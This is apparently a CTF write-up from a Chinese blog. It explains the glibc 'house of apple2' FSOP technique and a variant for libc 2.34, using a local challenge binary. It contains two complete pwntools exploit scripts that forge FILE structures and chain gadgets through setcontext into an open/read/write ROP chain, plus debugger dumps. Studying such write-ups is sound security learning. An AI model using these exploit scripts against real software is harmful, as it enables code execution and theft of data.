house of apple2(改进)

前言

刚学完house of apple1,今天来学习一下house of apple2,在看roderick01师傅博客并跟着调试了一下后,我又有了一种在apple2调用链基础上改进的一种新做法,本文先讲一下原apple2的做法,再拓展一种利用方式。例题:pwn_oneday。libc版本:原apple2为2.35,我发现的做法的libc为2.34,但在2.35也能行。

程序不再分析,可参考我的apple1,house of apple1_KingKi1L3r的博客-CSDN博客

或者roderick01师傅博客[原创] House of apple 一种新的glibc中IO攻击方法 (1)-Pwn-看雪论坛-安全社区|安全招聘|bbs.pediy.com

原apple2

调用链:

_IO_wfile_overflow
    _IO_wdoallocbuf
        _IO_WDOALLOCATE
            *(fp->_wide_data->_wide_vtable + 0x68)(fp)

利用_IO_wfile_overflow函数控制程序执行流的设置

_wide_data设置为可控堆地址A,即满足*(fp + 0xa0) = A

_wide_data->_IO_write_base设置为0,即满足*(A + 0x18) = 0

_wide_data->_IO_buf_base设置为0,即满足*(A + 0x30) = 0

_wide_data->_wide_vtable设置为可控堆地址B,即满足*(A + 0xe0) = B

_wide_data->_wide_vtable->doallocate设置为地址C用于劫持RIP,即满足*(B + 0x68) = C

exp

from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'
p=process('./apple')
elf=ELF('./apple')
libc=ELF('/home/lyp/桌面/glibc-all-in-one/libs/2.35-0ubuntu3.1_amd64/libc.so.6')

small = 1
medium = 2
large = 3
def info(a,b):
    log.info("\033[0;31;40m"+a+hex(b)+'\033[0m')
def menu(index):
    p.sendlineafter('enter your command: ', str(index))


def add(choice):
    menu(1)
    p.sendlineafter('choise: ', str(choice))


def show(index):
    menu(4)
    p.sendlineafter('Index: ', str(index))


def edit(index, content):
    menu(3)
    p.sendlineafter('Index: ', str(index))
    p.sendafter('Message: ', content)


def delete(index):
    menu(2)
    p.sendlineafter('Index: ', str(index))

p.sendlineafter('enter your key >>', '10')
add(medium) # 0
add(medium) # 1
add(small)  # 2     0x555555606810
 
delete(2)
delete(1)
delete(0)
 
add(small)  # 3
add(small)  # 4
add(small)  # 5     0x5555556067f0
add(small)  # 6

delete(3)
delete(5)

show(3)
p.recvuntil('Message:')

libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 0x219ce0
info("libc_base-->",libc_base)
p.recv(2)
heap_base = u64(p.recv(8)) - 0x17f0
info("heap_base-->",heap_base)

_IO_list_all = libc_base + libc.sym['_IO_list_all']
info("_IO_list_all-->",_IO_list_all)

_IO_wfile_jumps = libc_base+libc.sym['_IO_wfile_jumps']
_IO_lock = libc_base + 0x21ba60
fake_IO_FILE = heap_base + 0x1810
setcontext = libc_base + libc.sym['setcontext']

pop_rax_ret = libc_base + 0x0000000000045eb0
pop_rdi_ret = libc_base + 0x000000000002a3e5
ret=pop_rdi_ret+1
pop_rsi_ret = libc_base + 0x000000000002be51
pop_rdx_rbx_ret = libc_base + 0x0000000000090529
syscall_ret = libc_base + 0x00000000000EC0B9

delete(4)
delete(6)

add(large)  # 7
add(small)  # 8     0x5555556067e0
add(small)  # 9

delete(8)
add(large)  # 10

f1 = FileStructure()
f1._IO_read_ptr = 0xa81
f1.flags = p64(heap_base+0x2000)
f1._IO_save_base=p64(heap_base+0x1a00)
f1._lock = _IO_lock
f1._wide_data = fake_IO_FILE + 0xe0
f1.vtable = _IO_wfile_jumps

data = {
    0x8: _IO_list_all - 0x20,
    0x10: {
        0: bytes(f1),
        0xe0: {
            0x18: 0, 
            0x30: 0, 
            0xa0:heap_base+0x1d00,
            0xa8:ret,
            0xe0: fake_IO_FILE+0x200,

        },
        0x200: {

            0x68:setcontext+61

        },
        0x300: {
            0x0:0,
            0x10:'flag\x00\x00\x00\x00',
            0x20:setcontext+61
        },
        0x4f0:[
            pop_rax_ret,  # sys_open('flag', 0)
            2,
            pop_rdi_ret,
            heap_base+0x1b20,
            pop_rsi_ret,
            0,
            syscall_ret,

            pop_rax_ret,  # sys_read(flag_fd, heap, 0x100)
            0,
            pop_rdi_ret,
            3,
            pop_rsi_ret,
            heap_base + 0x500,
            pop_rdx_rbx_ret,
            0x40,
            0,
            syscall_ret,

            pop_rax_ret,  # sys_write(1, heap, 0x100)
            1,
            pop_rdi_ret,
            1,
            pop_rsi_ret,
            heap_base + 0x500,
            pop_rdx_rbx_ret,
            0x40,
            0,
            syscall_ret
        ]
    },
    0xa90: [0, 0xab1]
}

data = flat(data).ljust(0xaa0, b'\x00')
edit(5,data)
delete(2)
# gdb.attach(p)
add(large)
menu(9)
p.interactive()

具体思路参考roderick01师傅博客,这里展示一下exp的执行流程以及伪造的几个结构体。

动态调试

几个结构体

pwndbg> p *_IO_list_all
$1 = {
  file = {
    _flags = -1629184000,
    _IO_read_ptr = 0xa81 <error: Cannot access memory at address 0xa81>,
    _IO_read_end = 0x7f2abeef4270 <main_arena+1520> "`B\357\276*\177",
    _IO_read_base = 0x55d79ee497e0 "",
    _IO_write_base = 0x55d79ee497e0 "",
    _IO_write_ptr = 0x7f2abeef4660 <_nl_global_locale+224> "\327A\353\276*\177",
    _IO_write_end = 0x0,
    _IO_buf_base = 0x0,
    _IO_buf_end = 0x0,
    _IO_save_base = 0x55d79ee49a00 "daafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagm\332Ҿ*\177",
    _IO_backup_base = 0x0,
    _IO_save_end = 0x0,
    _markers = 0x0,
    _chain = 0x0,
    _fileno = 0,
    _flags2 = 0,
    _old_offset = -1,
    _cur_column = 0,
    _vtable_offset = 0 '\000',
    _shortbuf = "",
    _lock = 0x7f2abeef5a60 <_IO_stdfile_2_lock>,
    _offset = -1,
    _codecvt = 0x0,
    _wide_data = 0x55d79ee498f0,
    _freeres_list = 0x0,
    _freeres_buf = 0x0,
    __pad5 = 0,
    _mode = 0,
    _unused2 = '\000' <repeats 19 times>
  },
  vtable = 0x7f2abeef00c0 <_IO_wfile_jumps>
}

pwndbg> p *(struct _IO_wide_data *)0x5652f98098f0                                                                                                                                                                                                                             
$2 = {                                                                                                                                                                                                                                                                        
  _IO_read_ptr = 0x6361616c6361616b <error: Cannot access memory at address 0x6361616c6361616b>,                                                                                                                                                                              
  _IO_read_end = 0x6361616e6361616d <error: Cannot access memory at address 0x6361616e6361616d>,                                                                                                                                                                              
  _IO_read_base = 0x636161706361616f <error: Cannot access memory at address 0x636161706361616f>,                                                                                                                                                                             
  _IO_write_base = 0x0,                                                                                                                                                                                                                                                       
  _IO_write_ptr = 0x6361617463616173 <error: Cannot access memory at address 0x6361617463616173>,                                                                                                                                                                             
  _IO_write_end = 0x6361617663616175 <error: Cannot access memory at address 0x6361617663616175>,                                                                                                                                                                             
  _IO_buf_base = 0x0,                                                                                                                                                                                                                                                         
  _IO_buf_end = 0x6461617a63616179 <error: Cannot access memory at address 0x6461617a63616179>,                                                                                                                                                                               
  _IO_save_base = 0x6461616364616162 <error: Cannot access memory at address 0x6461616364616162>,                                                                                                                                                                             
  _IO_backup_base = 0x6461616564616164 <error: Cannot access memory at address 0x6461616564616164>,                                                                                                                                                                           
  _IO_save_end = 0x6461616764616166 <error: Cannot access memory at address 0x6461616764616166>,                                                                                                                                                                              
  _IO_state = {                                                                                                                                                                                                                                                               
    __count = 1684103528,                                                                                                                                                                                                                                                     
    __value = {                                                                                                                                                                                                                                                               
      __wch = 1684103529,                                                                                                                                                                                                                                                     
      __wchb = "iaad"                                                                                                                                                                                                                                                         
    }                                                                                                                                                                                                                                                                         
  },                                                                                                                                                                                                                                                                          
  _IO_last_state = {                                                                                                                                                                                                                                                          
    __count = 1684103530,                                                                                                                                                                                                                                                     
    __value = {                                                                                                                                                                                                                                                               
      __wch = 1684103531,                                                                                                                                                                                                                                                     
      __wchb = "kaad"                                                                                                                                                                                                                                                         
    }                                                                                                                                                                                                                                                                         
  },                                                                                                                                                                                                                                                                          
  _codecvt = {                                                                                                                                                                                                                                                                
    __cd_in = {                                                    
      step = 0x6461616d6461616c,                                   
      step_data = {                                                
        __outbuf = 0x6461616f6461616e <error: Cannot access memory at address 0x6461616f6461616e>,                                                                                                                                                                            
        __outbufend = 0x6461617164616170 <error: Cannot access memory at address 0x6461617164616170>,                                                                                                                                                                         
        __flags = 1684103538,                                      
        __invocation_counter = 1684103539,                                                                                             
        __internal_use = 1684103540,                               
        __statep = 0x6461617764616176,                             
        __state = {
          __count = 1684103544,
          __value = {
            __wch = 1684103545,
            __wchb = "yaad"
          }
        }
      }
    },
    __cd_out = {
      step = 0x5652f9809d00,
      step_data = {
        __outbuf = 0x7fb79ab363e6 <iconv+198> "\303f\017\037\204",
        __outbufend = 0x6561616665616165 <error: Cannot access memory at address 0x6561616665616165>,
        __flags = 1700880743,
        __invocation_counter = 1700880744,
        __internal_use = 1700880745,
        __statep = 0x6561616c6561616b,
        __state = {
          __count = 1700880749,
          __value = {
            __wch = 1700880750,
            __wchb = "naae"
          }
        }
      }
    }
  },
  _shortbuf = L"\x6561616f",
  _wide_vtable = 0x5652f9809a10
}

pwndbg> p *(const struct _IO_jump_t *)0x56037caeba10
$4 = {
  __dummy = 7377284769926701416,
  __dummy2 = 7377284778516636010,
  __finish = 0x6661616d6661616c,
  __overflow = 0x6661616f6661616e,
  __underflow = 0x6661617166616170,
  __uflow = 0x6661617366616172,
  __pbackfail = 0x6661617566616174,
  __xsputn = 0x6661617766616176,
  __xsgetn = 0x6661617966616178,
  __seekoff = 0x676161626761617a,
  __seekpos = 0x6761616467616163,
  __setbuf = 0x6761616667616165,
  __sync = 0x6761616867616167,
  __doallocate = 0x7f0714452a6d <setcontext+61>,
  __read = 0x6761616c6761616b,
  __write = 0x6761616e6761616d,
  __seek = 0x676161706761616f,
  __close = 0x6761617267616171,
  __stat = 0x6761617467616173,
  __showmanyc = 0x6761617667616175,
  __imbue = 0x6761617867616177
}

完整调用链:exit==>__run_exit_handlers==>_IO_cleanup==>_IO_flush_all_lockp==>_IO_wfile_overflow

==>_IO_wdoallocbuf

si进入

si进入

 

si进入

si进入

si进入

这里就进入我们控制的调用链了

si进入

si进入

 

 成功劫持。

特别注意

 在2.35版本环境下运行,这里有一个mov rdx qword ptr [rdi+0xa0],可以通过这个语句控制rdx,然后直接call setcontext+61即可劫持 ,但是我用2.34版本做的时候却遇到了一个问题

 他这里传参居然是传给了rax,那就意味着我们不能直接控制rdx进行FSOP,本来想通过一个gadget控制rdi间接控制rdx(下方代码里的magic_gadget),但是发现rdi恒为edit的堆块的地址,而rdi+8处就是这个堆块的size,于是这种只用一个gadget的方法是不行了,这个问题卡了很长时间,于是我选择找一些其他可以利用的gadget(下方代码里magic与magic_gadget联合使用)。那么下面就介绍一下在apple2基础上的一些改进。

apple2的改进(KingKi1L3r)

调用链

这个依旧走的是

_IO_wfile_overflow
    _IO_wdoallocbuf

不过之后就开始执行我布置好的一系列gadget,从而控制rdx的值。

exp

from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'
p=process('./oneday')
elf=ELF('./oneday')
libc=elf.libc

small = 1
medium = 2
large = 3
def info(a,b):
    log.info("\033[0;31;40m"+a+hex(b)+'\033[0m')
def menu(index):
    p.sendlineafter('enter your command: ', str(index))


def add(choice):
    menu(1)
    p.sendlineafter('choise: ', str(choice))


def show(index):
    menu(4)
    p.sendlineafter('Index: ', str(index))


def edit(index, content):
    menu(3)
    p.sendlineafter('Index: ', str(index))
    p.sendafter('Message: ', content)


def delete(index):
    menu(2)
    p.sendlineafter('Index: ', str(index))

p.sendlineafter('enter your key >>', '10')
add(medium) # 0
add(medium) # 1
add(small)  # 2     0x555555606810
 
delete(2)
delete(1)
delete(0)
 
add(small)  # 3
add(small)  # 4
add(small)  # 5     0x5555556067f0
add(small)  # 6

delete(3)
delete(5)

show(3)
p.recvuntil('Message:')

libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 0x1f2cc0
info("libc_base-->",libc_base)
p.recv(2)
heap_base = u64(p.recv(8)) - 0x17f0
info("heap_base-->",heap_base)


_IO_list_all = libc_base + libc.sym['_IO_list_all']
info("_IO_list_all-->",_IO_list_all)

_IO_wfile_jumps = libc_base+libc.sym['_IO_wfile_jumps']
_IO_lock = libc_base + 0x1f5720
fake_IO_FILE = heap_base + 0x1810
puts=libc_base+libc.sym['puts']
setcontext = libc_base + libc.sym['setcontext']
system=libc_base+libc.sym['system']
ret = libc_base + 0x000000000002d446
pop_rax_ret = libc_base + 0x00000000000446c0
pop_rdi_ret = libc_base + 0x000000000002daa2
ret=pop_rdi_ret+1
pop_rsi_ret = libc_base + 0x0000000000037c0a
pop_rdx_rbx_ret = libc_base + 0x0000000000087729
syscall_ret = libc_base + 0x00000000000883b6
onegadget=[0xda7c1,0xda7c4,0xda7c7]
ogg=libc_base+onegadget[2]
magic_gadget = libc_base + 0x146020#mov rdx, [rdi+8].mov [rsp], rax. call qword ptr [rdx+20h]
magic=libc_base+0x1482BA

delete(4)
delete(6)

add(large)  # 7
add(small)  # 8     0x5555556067e0
add(small)  # 9

delete(8)
add(large)  # 10

f1 = FileStructure()
f1._IO_read_ptr = 0xa81
f1.flags = p64(heap_base+0x2000)
f1._IO_save_base=p64(heap_base+0x1a00)
f1._lock = _IO_lock
f1._wide_data = fake_IO_FILE + 0xe0
f1.vtable = _IO_wfile_jumps

data = {
    0x8: _IO_list_all - 0x20,
    0x10: {
        0: bytes(f1),
        0xe0: {
            0x18: 0, 
            0x30: 0, 
            0xe0: fake_IO_FILE+0x200,
            0x110:0x20,
            # 0x120:heap_base+0x1d00
            # 0x128:heap_base+0x1a00,
            # 0x138:magic_gadget
        },
        0x200: {
            0x0:heap_base+0x1d00,
            0x8:heap_base+0x1a00,
            0x10:setcontext+61,
            0x18:magic_gadget,
            0x68:magic,
            0x90:heap_base+0x1d10,
            0x98:ret
        },
        0x300: {
            0x0:0,
            0x8:heap_base+0x300,
            0x10:'flag\x00\x00\x00\x00',
            0x20:setcontext+61
        },
        0x500:[
            pop_rax_ret,  # sys_open('flag', 0)
            2,
            pop_rdi_ret,
            heap_base+0x1b20,
            pop_rsi_ret,
            0,
            syscall_ret,

            pop_rax_ret,  # sys_read(flag_fd, heap, 0x100)
            0,
            pop_rdi_ret,
            3,
            pop_rsi_ret,
            heap_base + 0x500,
            pop_rdx_rbx_ret,
            0x40,
            0,
            syscall_ret,

            pop_rax_ret,  # sys_write(1, heap, 0x100)
            1,
            pop_rdi_ret,
            1,
            pop_rsi_ret,
            heap_base + 0x500,
            pop_rdx_rbx_ret,
            0x40,
            0,
            syscall_ret
        ]
    },
    0xa90: [0, 0xab1]
}

data = flat(data).ljust(0xaa0, b'\x00')
edit(5,data)
delete(2)
# gdb.attach(p)
add(large)
gdb.attach(p)
menu(9)

p.interactive()

具体利用不再赘述,直接看调用过程吧。

动态调试

完整调用链:

exit==>__run_exit_handlers==>_IO_cleanup==>_IO_flush_all_lockp==>_IO_wfile_overflow

==>_IO_wdoallocbuf==>svcudp_reply+26==>getkeyserv_handle+528

si进入

si进入

si进入

si进入

si进入

 到这里就进入我们控制的调用链

si进入

注意这里修改的是rax而不是rdx

si进入

 这里就进入了我们布置的第一个gadget

si进入

 这是第一个gadget的执行,只要精心布置堆就可以首先实现对rdi的控制,接下来进入我们布置的第二个gadget。

 这里我们看一下寄存器的值

 以及此时rdx+0xa0和rdx+0xa8

 正好是我们布置的orw的地址和ret的地址

si进入setcontext+61

 

 成功劫持!

总结

由于刚开始做apple2用的libc2.34,利用roderick01师傅提出的利用链无法直接实现对rdx或者rdi的控制,于是通过寻找多个gadget当跳板去修改rdi和rdx的值,最后通过setcontext+61进行orw。而我又看了libc2.35在此处的汇编,发现寄存器发生了变化,2.35版本直接传给了rdx,这就给了我们很大的方便,直接伪造_wide_data表即可。收获颇多!

  • 8
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值